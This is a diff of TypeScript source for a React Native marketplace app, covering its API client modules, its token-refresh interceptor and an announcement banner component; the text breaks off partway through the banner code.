||||||
|
identifier: string,
|
||||||
|
password: string,
|
||||||
|
): Promise<AuthResponse> {
|
||||||
|
const {data} = await client.post<AuthResponse>('/auth/login', {
|
||||||
|
identifier,
|
||||||
|
password,
|
||||||
|
});
|
||||||
|
await saveTokens(data.access_token, data.refresh_token);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getMe(): Promise<User> {
|
||||||
|
const {data} = await client.get<User>('/auth/me');
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function refreshToken(refresh_token: string): Promise<AuthResponse> {
|
||||||
|
const {data} = await client.post<AuthResponse>('/auth/refresh', {
|
||||||
|
refresh_token,
|
||||||
|
});
|
||||||
|
await saveTokens(data.access_token, data.refresh_token);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
import client from './client';
|
||||||
|
|
||||||
|
export interface ChatMessage {
|
||||||
|
role: 'user' | 'assistant';
|
||||||
|
content: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ChatResponse {
|
||||||
|
reply: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function sendMessage(
|
||||||
|
message: string,
|
||||||
|
conversation: ChatMessage[],
|
||||||
|
): Promise<ChatResponse> {
|
||||||
|
const {data} = await client.post<ChatResponse>('/chat', {
|
||||||
|
message,
|
||||||
|
conversation,
|
||||||
|
});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
@@ -0,0 +1,108 @@
|
|||||||
|
import axios, {AxiosError, InternalAxiosRequestConfig} from 'axios';
|
||||||
|
import AsyncStorage from '@react-native-async-storage/async-storage';
|
||||||
|
|
||||||
|
const API_BASE_URL = 'https://bereketli.pezkiwi.app/v1';
|
||||||
|
|
||||||
|
const client = axios.create({
|
||||||
|
baseURL: API_BASE_URL,
|
||||||
|
timeout: 15000,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
// Token storage keys
|
||||||
|
const TOKEN_KEY = '@bereketli_access_token';
|
||||||
|
const REFRESH_KEY = '@bereketli_refresh_token';
|
||||||
|
|
||||||
|
export async function saveTokens(access: string, refresh: string) {
|
||||||
|
await AsyncStorage.setItem(TOKEN_KEY, access);
|
||||||
|
await AsyncStorage.setItem(REFRESH_KEY, refresh);
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function clearTokens() {
|
||||||
|
await AsyncStorage.removeItem(TOKEN_KEY);
|
||||||
|
await AsyncStorage.removeItem(REFRESH_KEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getAccessToken(): Promise<string | null> {
|
||||||
|
return AsyncStorage.getItem(TOKEN_KEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getRefreshToken(): Promise<string | null> {
|
||||||
|
return AsyncStorage.getItem(REFRESH_KEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Request interceptor: token ekle
|
||||||
|
client.interceptors.request.use(async (config: InternalAxiosRequestConfig) => {
|
||||||
|
const token = await getAccessToken();
|
||||||
|
if (token) {
|
||||||
|
config.headers.Authorization = `Bearer ${token}`;
|
||||||
|
}
|
||||||
|
return config;
|
||||||
|
});
|
||||||
|
|
||||||
|
// Response interceptor: 401 → token refresh → retry
|
||||||
|
let isRefreshing = false;
|
||||||
|
let refreshQueue: Array<{
|
||||||
|
resolve: (token: string) => void;
|
||||||
|
reject: (error: unknown) => void;
|
||||||
|
}> = [];
|
||||||
|
|
||||||
|
client.interceptors.response.use(
|
||||||
|
response => response,
|
||||||
|
async (error: AxiosError) => {
|
||||||
|
const originalRequest = error.config as InternalAxiosRequestConfig & {_retry?: boolean};
|
||||||
|
|
||||||
|
if (error.response?.status === 401 && !originalRequest._retry) {
|
||||||
|
if (isRefreshing) {
|
||||||
|
// Baska bir refresh zaten calisiyor — kuyruge ekle
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
refreshQueue.push({
|
||||||
|
resolve: (token: string) => {
|
||||||
|
originalRequest.headers.Authorization = `Bearer ${token}`;
|
||||||
|
resolve(client(originalRequest));
|
||||||
|
},
|
||||||
|
reject,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
originalRequest._retry = true;
|
||||||
|
isRefreshing = true;
|
||||||
|
|
||||||
|
try {
|
||||||
|
const refreshToken = await getRefreshToken();
|
||||||
|
if (!refreshToken) {
|
||||||
|
throw new Error('No refresh token');
|
||||||
|
}
|
||||||
|
|
||||||
|
const response = await axios.post(`${API_BASE_URL}/auth/refresh`, {
|
||||||
|
refresh_token: refreshToken,
|
||||||
|
});
|
||||||
|
|
||||||
|
const {access_token, refresh_token} = response.data;
|
||||||
|
await saveTokens(access_token, refresh_token);
|
||||||
|
|
||||||
|
// Kuyruktekileri coz
|
||||||
|
refreshQueue.forEach(({resolve}) => resolve(access_token));
|
||||||
|
refreshQueue = [];
|
||||||
|
|
||||||
|
originalRequest.headers.Authorization = `Bearer ${access_token}`;
|
||||||
|
return client(originalRequest);
|
||||||
|
} catch (refreshError) {
|
||||||
|
refreshQueue.forEach(({reject}) => reject(refreshError));
|
||||||
|
refreshQueue = [];
|
||||||
|
await clearTokens();
|
||||||
|
// TODO: navigate to login screen
|
||||||
|
return Promise.reject(refreshError);
|
||||||
|
} finally {
|
||||||
|
isRefreshing = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return Promise.reject(error);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
export default client;
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
import client from './client';
|
||||||
|
|
||||||
|
export interface FaqItem {
|
||||||
|
id: string;
|
||||||
|
question: string;
|
||||||
|
answer: string;
|
||||||
|
category: string;
|
||||||
|
sort_order: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getFaqs(): Promise<FaqItem[]> {
|
||||||
|
const {data} = await client.get<FaqItem[]>('/faq');
|
||||||
|
return data;
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
import client from './client';
|
||||||
|
import type {MealListing, MealNearby, MealOrder} from '../types/models';
|
||||||
|
|
||||||
|
export async function getNearbyMeals(
|
||||||
|
lat: number,
|
||||||
|
lon: number,
|
||||||
|
radius?: number,
|
||||||
|
): Promise<MealNearby[]> {
|
||||||
|
const params: Record<string, unknown> = {lat, lon};
|
||||||
|
if (radius) params.radius = radius;
|
||||||
|
|
||||||
|
const {data} = await client.get<MealNearby[]>('/meals/nearby', {params});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getMeal(id: string): Promise<MealListing> {
|
||||||
|
const {data} = await client.get<MealListing>(`/meals/${id}`);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function orderMeal(
|
||||||
|
listingId: string,
|
||||||
|
portions?: number,
|
||||||
|
): Promise<MealOrder> {
|
||||||
|
const {data} = await client.post<MealOrder>(`/meals/${listingId}/order`, {
|
||||||
|
portions,
|
||||||
|
});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getAllMeals(): Promise<MealNearby[]> {
|
||||||
|
const {data} = await client.get<MealNearby[]>('/meals/all');
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getMealOrders(): Promise<MealOrder[]> {
|
||||||
|
const {data} = await client.get<MealOrder[]>('/meal-orders');
|
||||||
|
return data;
|
||||||
|
}
|
||||||
@@ -0,0 +1,146 @@
|
|||||||
|
import client from './client';
|
||||||
|
import type {LoyaltyCard, LoyaltyProgram, Merchant, MerchantNearby} from '../types/models';
|
||||||
|
|
||||||
|
export async function getNearbyMerchants(
|
||||||
|
lat: number,
|
||||||
|
lon: number,
|
||||||
|
radius?: number,
|
||||||
|
category?: string,
|
||||||
|
): Promise<MerchantNearby[]> {
|
||||||
|
const params: Record<string, unknown> = {lat, lon};
|
||||||
|
if (radius) params.radius = radius;
|
||||||
|
if (category) params.category = category;
|
||||||
|
|
||||||
|
const {data} = await client.get<MerchantNearby[]>('/merchants/nearby', {params});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getAllMerchants(): Promise<MerchantNearby[]> {
|
||||||
|
const {data} = await client.get<MerchantNearby[]>('/merchants/all');
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getMerchant(id: string): Promise<{merchant: Merchant; programs: LoyaltyProgram[]}> {
|
||||||
|
const {data} = await client.get(`/merchants/${id}`);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function addStamp(
|
||||||
|
programId: string,
|
||||||
|
customerUserId: string,
|
||||||
|
amount?: number,
|
||||||
|
) {
|
||||||
|
const {data} = await client.post('/loyalty/stamp', {
|
||||||
|
program_id: programId,
|
||||||
|
customer_user_id: customerUserId,
|
||||||
|
amount,
|
||||||
|
});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getMyCards(): Promise<LoyaltyCard[]> {
|
||||||
|
const {data} = await client.get<LoyaltyCard[]>('/loyalty/my-cards');
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function redeemReward(cardId: string) {
|
||||||
|
const {data} = await client.post(`/loyalty/redeem/${cardId}`, {});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Merchant Products/Services ──
|
||||||
|
|
||||||
|
export interface MerchantProduct {
|
||||||
|
id: string;
|
||||||
|
merchant_id: string;
|
||||||
|
name: string;
|
||||||
|
description: string | null;
|
||||||
|
price: number;
|
||||||
|
unit: string;
|
||||||
|
category: string | null;
|
||||||
|
photo_url: string | null;
|
||||||
|
available: boolean;
|
||||||
|
sort_order: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getMerchantProducts(merchantId: string): Promise<MerchantProduct[]> {
|
||||||
|
const {data} = await client.get<MerchantProduct[]>(`/merchants/${merchantId}/products`);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Merchant Packages ──
|
||||||
|
|
||||||
|
export interface MerchantPackage {
|
||||||
|
id: string;
|
||||||
|
merchant_id: string;
|
||||||
|
title: string;
|
||||||
|
description: string | null;
|
||||||
|
price: number;
|
||||||
|
original_value: number;
|
||||||
|
total_quantity: number;
|
||||||
|
remaining: number;
|
||||||
|
pickup_start: string;
|
||||||
|
pickup_end: string;
|
||||||
|
status: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getMerchantPackages(merchantId: string): Promise<MerchantPackage[]> {
|
||||||
|
const {data} = await client.get<MerchantPackage[]>(`/merchants/${merchantId}/packages`);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Appointments ──
|
||||||
|
|
||||||
|
export interface Appointment {
|
||||||
|
id: string;
|
||||||
|
merchant_id: string;
|
||||||
|
customer_id: string;
|
||||||
|
merchant_name: string;
|
||||||
|
customer_name: string;
|
||||||
|
service_name: string;
|
||||||
|
appointment_date: string;
|
||||||
|
time_slot: string;
|
||||||
|
duration_minutes: number;
|
||||||
|
price: number | null;
|
||||||
|
status: string;
|
||||||
|
notes: string | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function bookAppointment(
|
||||||
|
merchantId: string,
|
||||||
|
serviceName: string,
|
||||||
|
date: string,
|
||||||
|
timeSlot: string,
|
||||||
|
notes?: string,
|
||||||
|
): Promise<Appointment> {
|
||||||
|
const {data} = await client.post<Appointment>(`/merchants/${merchantId}/appointments`, {
|
||||||
|
service_name: serviceName,
|
||||||
|
appointment_date: date,
|
||||||
|
time_slot: timeSlot,
|
||||||
|
notes,
|
||||||
|
});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getMyAppointments(): Promise<Appointment[]> {
|
||||||
|
const {data} = await client.get<Appointment[]>('/appointments/mine');
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function cancelAppointment(id: string): Promise<Appointment> {
|
||||||
|
const {data} = await client.put<Appointment>(`/appointments/${id}/cancel`);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Merchant Package Orders ──
|
||||||
|
|
||||||
|
export async function orderMerchantPackage(
|
||||||
|
merchantId: string,
|
||||||
|
packageId: string,
|
||||||
|
quantity?: number,
|
||||||
|
): Promise<{id: string; total_price: number; qr_token: string}> {
|
||||||
|
const {data} = await client.post(`/merchants/${merchantId}/packages/${packageId}/order`, {
|
||||||
|
quantity,
|
||||||
|
});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
@@ -0,0 +1,66 @@
|
|||||||
|
import client from './client';
|
||||||
|
import type {Order} from '../types/models';
|
||||||
|
|
||||||
|
export interface CreateOrderRequest {
|
||||||
|
package_id: string;
|
||||||
|
quantity?: number;
|
||||||
|
delivery_type?: 'pickup' | 'delivery';
|
||||||
|
delivery_address?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function createOrder(
|
||||||
|
packageId: string,
|
||||||
|
quantity?: number,
|
||||||
|
deliveryType?: 'pickup' | 'delivery',
|
||||||
|
deliveryAddress?: string,
|
||||||
|
): Promise<Order> {
|
||||||
|
const body: CreateOrderRequest = {
|
||||||
|
package_id: packageId,
|
||||||
|
quantity,
|
||||||
|
};
|
||||||
|
if (deliveryType) body.delivery_type = deliveryType;
|
||||||
|
if (deliveryAddress) body.delivery_address = deliveryAddress;
|
||||||
|
|
||||||
|
const {data} = await client.post<any>('/orders', body);
|
||||||
|
// Backend returns {needs_payment, order} or plain Order
|
||||||
|
return data.order || data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getOrders(page?: number, perPage?: number): Promise<Order[]> {
|
||||||
|
const params: Record<string, unknown> = {};
|
||||||
|
if (page) params.page = page;
|
||||||
|
if (perPage) params.per_page = perPage;
|
||||||
|
|
||||||
|
const {data} = await client.get<Order[]>('/orders', {params});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getOrder(id: string): Promise<Order> {
|
||||||
|
const {data} = await client.get<Order>(`/orders/${id}`);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function cancelOrder(id: string): Promise<Order> {
|
||||||
|
const {data} = await client.put<Order>(`/orders/${id}/cancel`);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function updateDeliveryStatus(
|
||||||
|
orderId: string,
|
||||||
|
status: 'preparing' | 'on_the_way' | 'delivered',
|
||||||
|
): Promise<Order> {
|
||||||
|
const {data} = await client.put<Order>(`/orders/${orderId}/delivery-status`, {
|
||||||
|
status,
|
||||||
|
});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function confirmPickup(
|
||||||
|
orderId: string,
|
||||||
|
qrToken: string,
|
||||||
|
): Promise<Order> {
|
||||||
|
const {data} = await client.post<Order>(`/orders/${orderId}/confirm`, {
|
||||||
|
qr_token: qrToken,
|
||||||
|
});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
import client from './client';
|
||||||
|
import type {Package, PackageNearby} from '../types/models';
|
||||||
|
|
||||||
|
export async function getNearbyPackages(
|
||||||
|
lat: number,
|
||||||
|
lon: number,
|
||||||
|
radius?: number,
|
||||||
|
category?: string,
|
||||||
|
page?: number,
|
||||||
|
perPage?: number,
|
||||||
|
): Promise<PackageNearby[]> {
|
||||||
|
const params: Record<string, unknown> = {lat, lon};
|
||||||
|
if (radius) params.radius = radius;
|
||||||
|
if (category) params.category = category;
|
||||||
|
if (page) params.page = page;
|
||||||
|
if (perPage) params.per_page = perPage;
|
||||||
|
|
||||||
|
const {data} = await client.get<PackageNearby[]>('/packages/nearby', {params});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getPackage(id: string): Promise<Package> {
|
||||||
|
const {data} = await client.get<Package>(`/packages/${id}`);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getAllPackages(category?: string): Promise<PackageNearby[]> {
|
||||||
|
const params: Record<string, unknown> = {};
|
||||||
|
if (category) params.category = category;
|
||||||
|
const {data} = await client.get<PackageNearby[]>('/packages/all', {params});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
import client from './client';
|
||||||
|
|
||||||
|
export interface ChangePasswordRequest {
|
||||||
|
current_password: string;
|
||||||
|
new_password: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface TotpStatusResponse {
|
||||||
|
enabled: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface TotpSetupResponse {
|
||||||
|
secret: string;
|
||||||
|
qr_uri: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function changePassword(
|
||||||
|
currentPassword: string,
|
||||||
|
newPassword: string,
|
||||||
|
): Promise<void> {
|
||||||
|
await client.put('/auth/password', {
|
||||||
|
current_password: currentPassword,
|
||||||
|
new_password: newPassword,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getTotpStatus(): Promise<TotpStatusResponse> {
|
||||||
|
const {data} = await client.get<TotpStatusResponse>('/auth/totp/status');
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function setupTotp(): Promise<TotpSetupResponse> {
|
||||||
|
const {data} = await client.post<TotpSetupResponse>('/auth/totp/setup');
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function verifyTotp(code: string): Promise<void> {
|
||||||
|
await client.post('/auth/totp/verify', {code});
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function deleteAccount(): Promise<void> {
|
||||||
|
await client.delete('/auth/account');
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function updateProfile(name?: string, avatarUrl?: string): Promise<any> {
|
||||||
|
const body: Record<string, string> = {};
|
||||||
|
if (name) body.name = name;
|
||||||
|
if (avatarUrl) body.avatar_url = avatarUrl;
|
||||||
|
const {data} = await client.put('/auth/profile', body);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function uploadAvatar(uri: string, type: string, fileName: string): Promise<string> {
|
||||||
|
const formData = new FormData();
|
||||||
|
formData.append('photo', {uri, type, name: fileName} as any);
|
||||||
|
const {data} = await client.post<{url: string}>('/upload/avatar', formData, {
|
||||||
|
headers: {'Content-Type': 'multipart/form-data'},
|
||||||
|
});
|
||||||
|
return data.url;
|
||||||
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
import client from './client';
|
||||||
|
|
||||||
|
export interface ReferralStats {
|
||||||
|
code: string;
|
||||||
|
stats: {
|
||||||
|
points_balance: number;
|
||||||
|
total_referrals: number;
|
||||||
|
completed_referrals: number;
|
||||||
|
total_earned: number;
|
||||||
|
total_spent: number;
|
||||||
|
next_signup_points: number;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ReferralHistoryItem {
|
||||||
|
referred_name: string;
|
||||||
|
status: string; // 'registered' | 'first_purchase'
|
||||||
|
points_earned: number;
|
||||||
|
created_at: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getReferralStats(): Promise<ReferralStats> {
|
||||||
|
const {data} = await client.get<ReferralStats>('/referral/stats');
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getReferralHistory(): Promise<ReferralHistoryItem[]> {
|
||||||
|
const {data} = await client.get<ReferralHistoryItem[]>('/referral/history');
|
||||||
|
return data;
|
||||||
|
}
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
import client from './client';
|
||||||
|
import type {Review} from '../types/models';
|
||||||
|
|
||||||
|
export async function getReviews(
|
||||||
|
targetType: 'store' | 'meal' | 'merchant',
|
||||||
|
targetId: string,
|
||||||
|
page?: number,
|
||||||
|
perPage?: number,
|
||||||
|
): Promise<Review[]> {
|
||||||
|
const params: Record<string, unknown> = {target_type: targetType, target_id: targetId};
|
||||||
|
if (page) params.page = page;
|
||||||
|
if (perPage) params.per_page = perPage;
|
||||||
|
|
||||||
|
const {data} = await client.get<Review[]>('/reviews', {params});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function createReview(
|
||||||
|
targetType: 'store' | 'meal' | 'merchant',
|
||||||
|
targetId: string,
|
||||||
|
rating: number,
|
||||||
|
comment?: string,
|
||||||
|
orderId?: string,
|
||||||
|
): Promise<Review> {
|
||||||
|
const body: Record<string, unknown> = {
|
||||||
|
target_type: targetType,
|
||||||
|
target_id: targetId,
|
||||||
|
rating,
|
||||||
|
};
|
||||||
|
if (comment) body.comment = comment;
|
||||||
|
if (orderId) body.order_id = orderId;
|
||||||
|
|
||||||
|
const {data} = await client.post<Review>('/reviews', body);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
import client from './client';
|
||||||
|
import type {PackageNearby} from '../types/models';
|
||||||
|
|
||||||
|
export async function searchPackages(query: string): Promise<PackageNearby[]> {
|
||||||
|
const {data} = await client.get<PackageNearby[]>('/search', {params: {q: query}});
|
||||||
|
return data;
|
||||||
|
}
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 692 B |
@@ -0,0 +1,329 @@
|
|||||||
|
import React, {useEffect, useState, useCallback, useRef} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
FlatList,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
Dimensions,
|
||||||
|
Image,
|
||||||
|
Linking,
|
||||||
|
ActivityIndicator,
|
||||||
|
} from 'react-native';
|
||||||
|
import type {ViewToken} from 'react-native';
|
||||||
|
import {colors} from '../theme';
|
||||||
|
import {
|
||||||
|
getAnnouncements,
|
||||||
|
trackView,
|
||||||
|
trackClick,
|
||||||
|
} from '../api/announcements';
|
||||||
|
import type {Announcement} from '../api/announcements';
|
||||||
|
|
||||||
|
const {width: SCREEN_WIDTH} = Dimensions.get('window');
|
||||||
|
const CARD_WIDTH = SCREEN_WIDTH - 32;
|
||||||
|
const CARD_HEIGHT = 130;
|
||||||
|
|
||||||
|
const TYPE_COLORS: Record<string, string> = {
|
||||||
|
promo: '#2D6A4F',
|
||||||
|
sponsor: '#E8A838',
|
||||||
|
duyuru: '#2563EB',
|
||||||
|
kampanya: '#DC2626',
|
||||||
|
};
|
||||||
|
|
||||||
|
function getBackgroundColor(type: string): string {
|
||||||
|
return TYPE_COLORS[type] || colors.primary;
|
||||||
|
}
|
||||||
|
|
||||||
|
function AnnouncementCard({
|
||||||
|
item,
|
||||||
|
onVisible,
|
||||||
|
}: {
|
||||||
|
item: Announcement;
|
||||||
|
onVisible?: () => void;
|
||||||
|
}) {
|
||||||
|
const hasImage = !!item.image_url;
|
||||||
|
const [imgError, setImgError] = useState(false);
|
||||||
|
const bgColor = getBackgroundColor(item.announcement_type);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
onVisible?.();
|
||||||
|
}, [onVisible]);
|
||||||
|
|
||||||
|
const handlePress = useCallback(() => {
|
||||||
|
trackClick(item.id).catch(() => {});
|
||||||
|
if (item.link_url) {
|
||||||
|
Linking.openURL(item.link_url).catch(() => {});
|
||||||
|
}
|
||||||
|
}, [item.id, item.link_url]);
|
||||||
|
|
||||||
|
const renderContent = () => (
|
||||||
|
<View style={cardStyles.textContainer}>
|
||||||
|
<Text style={cardStyles.title} numberOfLines={2}>
|
||||||
|
{item.title}
|
||||||
|
</Text>
|
||||||
|
{item.content ? (
|
||||||
|
<Text style={cardStyles.content} numberOfLines={1}>
|
||||||
|
{item.content}
|
||||||
|
</Text>
|
||||||
|
) : null}
|
||||||
|
{item.link_label ? (
|
||||||
|
<View style={cardStyles.linkRow}>
|
||||||
|
<Text style={cardStyles.linkLabel}>{item.link_label} {'\u2192'}</Text>
|
||||||
|
</View>
|
||||||
|
) : null}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
|
||||||
|
if (hasImage && !imgError) {
|
||||||
|
return (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={cardStyles.card}
|
||||||
|
onPress={handlePress}
|
||||||
|
activeOpacity={0.85}>
|
||||||
|
<Image
|
||||||
|
source={{uri: item.image_url!}}
|
||||||
|
style={cardStyles.bgImage}
|
||||||
|
resizeMode="cover"
|
||||||
|
onError={() => setImgError(true)}
|
||||||
|
/>
|
||||||
|
<View style={cardStyles.gradient} />
|
||||||
|
{renderContent()}
|
||||||
|
</TouchableOpacity>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[cardStyles.card, {backgroundColor: bgColor}]}
|
||||||
|
onPress={handlePress}
|
||||||
|
activeOpacity={0.85}>
|
||||||
|
{renderContent()}
|
||||||
|
</TouchableOpacity>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const cardStyles = StyleSheet.create({
|
||||||
|
card: {
|
||||||
|
width: CARD_WIDTH,
|
||||||
|
height: CARD_HEIGHT,
|
||||||
|
borderRadius: 16,
|
||||||
|
overflow: 'hidden',
|
||||||
|
justifyContent: 'flex-end',
|
||||||
|
},
|
||||||
|
bgImage: {
|
||||||
|
...StyleSheet.absoluteFillObject,
|
||||||
|
width: CARD_WIDTH,
|
||||||
|
height: CARD_HEIGHT,
|
||||||
|
},
|
||||||
|
gradient: {
|
||||||
|
...StyleSheet.absoluteFillObject,
|
||||||
|
backgroundColor: 'rgba(0,0,0,0.45)',
|
||||||
|
},
|
||||||
|
textContainer: {
|
||||||
|
padding: 14,
|
||||||
|
},
|
||||||
|
title: {
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
marginBottom: 2,
|
||||||
|
},
|
||||||
|
content: {
|
||||||
|
fontSize: 12,
|
||||||
|
color: 'rgba(255,255,255,0.85)',
|
||||||
|
lineHeight: 16,
|
||||||
|
},
|
||||||
|
linkRow: {
|
||||||
|
alignSelf: 'flex-start',
|
||||||
|
backgroundColor: 'rgba(255,255,255,0.2)',
|
||||||
|
borderRadius: 12,
|
||||||
|
paddingHorizontal: 12,
|
||||||
|
paddingVertical: 4,
|
||||||
|
},
|
||||||
|
linkLabel: {
|
||||||
|
fontSize: 13,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
const AUTO_SCROLL_INTERVAL = 4000; // 4 saniye
|
||||||
|
|
||||||
|
export default function AnnouncementBanner() {
|
||||||
|
const [announcements, setAnnouncements] = useState<Announcement[]>([]);
|
||||||
|
const [loading, setLoading] = useState(true);
|
||||||
|
const [error, setError] = useState(false);
|
||||||
|
const [activeIndex, setActiveIndex] = useState(0);
|
||||||
|
const viewedIds = useRef<Set<string>>(new Set());
|
||||||
|
const flatListRef = useRef<FlatList<Announcement>>(null);
|
||||||
|
const autoScrollTimer = useRef<ReturnType<typeof setInterval> | null>(null);
|
||||||
|
const userInteracted = useRef(false);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
let cancelled = false;
|
||||||
|
setLoading(true);
|
||||||
|
setError(false);
|
||||||
|
getAnnouncements()
|
||||||
|
.then(data => {
|
||||||
|
if (!cancelled) {
|
||||||
|
setAnnouncements(data);
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.catch(() => {
|
||||||
|
if (!cancelled) {
|
||||||
|
setError(true);
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.finally(() => {
|
||||||
|
if (!cancelled) {
|
||||||
|
setLoading(false);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return () => {
|
||||||
|
cancelled = true;
|
||||||
|
};
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const activeIndexRef = useRef(0);
|
||||||
|
activeIndexRef.current = activeIndex;
|
||||||
|
|
||||||
|
// Auto-scroll
|
||||||
|
useEffect(() => {
|
||||||
|
if (announcements.length <= 1) return;
|
||||||
|
|
||||||
|
autoScrollTimer.current = setInterval(() => {
|
||||||
|
if (userInteracted.current) {
|
||||||
|
userInteracted.current = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const nextIndex = (activeIndexRef.current + 1) % announcements.length;
|
||||||
|
flatListRef.current?.scrollToOffset({
|
||||||
|
offset: nextIndex * (CARD_WIDTH + 12),
|
||||||
|
animated: true,
|
||||||
|
});
|
||||||
|
}, AUTO_SCROLL_INTERVAL);
|
||||||
|
|
||||||
|
return () => {
|
||||||
|
if (autoScrollTimer.current) {
|
||||||
|
clearInterval(autoScrollTimer.current);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}, [announcements.length]);
|
||||||
|
|
||||||
|
const handleScrollBeginDrag = useCallback(() => {
|
||||||
|
userInteracted.current = true;
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const handleViewableItemsChanged = useCallback(
|
||||||
|
({viewableItems}: {viewableItems: ViewToken[]}) => {
|
||||||
|
if (viewableItems.length > 0) {
|
||||||
|
const firstVisible = viewableItems[0];
|
||||||
|
if (typeof firstVisible.index === 'number') {
|
||||||
|
setActiveIndex(firstVisible.index);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
[],
|
||||||
|
);
|
||||||
|
|
||||||
|
const viewabilityConfig = useRef({
|
||||||
|
itemVisiblePercentThreshold: 50,
|
||||||
|
}).current;
|
||||||
|
|
||||||
|
const handleCardVisible = useCallback((id: string) => {
|
||||||
|
if (!viewedIds.current.has(id)) {
|
||||||
|
viewedIds.current.add(id);
|
||||||
|
trackView(id).catch(() => {});
